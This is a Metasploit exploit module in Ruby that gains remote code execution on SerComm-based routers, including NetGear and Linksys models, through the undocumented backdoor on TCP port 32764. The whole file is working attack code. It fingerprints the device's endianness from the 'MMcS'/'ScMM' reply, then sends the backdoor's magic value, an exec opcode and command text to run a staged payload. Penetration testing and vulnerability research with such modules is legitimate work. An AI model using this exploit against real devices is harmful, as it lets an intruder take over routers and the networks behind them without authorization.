##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStagerEcho

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SerComm Device Remote Code Execution",
      'Description'    => %q{
        This module will cause remote code execution on several SerComm devices.
        These devices typically include routers from NetGear and Linksys.
        Tested against NetGear DG834.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
        ],
      'Payload'        =>
        {
          'Space'       => 10000, # Could be more, but this should be good enough
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'Privileged'     => false,
      'Targets'        =>
        [
          ['Linux MIPS Big Endian',
            {
              'Arch' => ARCH_MIPSBE
            }
          ],
          ['Linux MIPS Little Endian',
            {
              'Arch' => ARCH_MIPSLE
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'OSVDB', '101653' ],
          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
        ],
      'DisclosureDate' => "Dec 31 2013" ))

      register_options(
        [
          Opt::RPORT(32764)
        ], self.class)
  end

  def check
    fprint = endian_fingerprint

    case fprint
    when 'BE'
      print_status("Detected Big Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    when 'LE'
      print_status("Detected Little Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    end

    return Msf::Exploit::CheckCode::Unknown
  end

  def exploit
    execute_cmdstager(:noargs => true)
  end

  def endian_fingerprint
    begin
      connect

      sock.put(rand_text(5))
      res = sock.get_once

      disconnect

      if res && res.start_with?("MMcS")
        return 'BE'
      elsif res && res.start_with?("ScMM")
        return 'LE'
      end
    rescue Rex::ConnectionError => e
      print_error("Connection failed: #{e.class}: #{e}")
    end

    return nil
  end

  def execute_command(cmd, opts)
    vprint_debug(cmd)

    # Get the length of the command, for the backdoor's command injection
    cmd_length = cmd.length

    # 0x53634d4d  => Backdoor code
    # 0x07        => Exec command
    # cmd_length  => Length of command to execute, sent after communication struct
    data = [0x53634d4d, 0x07, cmd_length].pack("VVV")

    connect
    # Send command structure followed by command text
    sock.put(data+cmd)
    disconnect

    Rex.sleep(1)
  end

end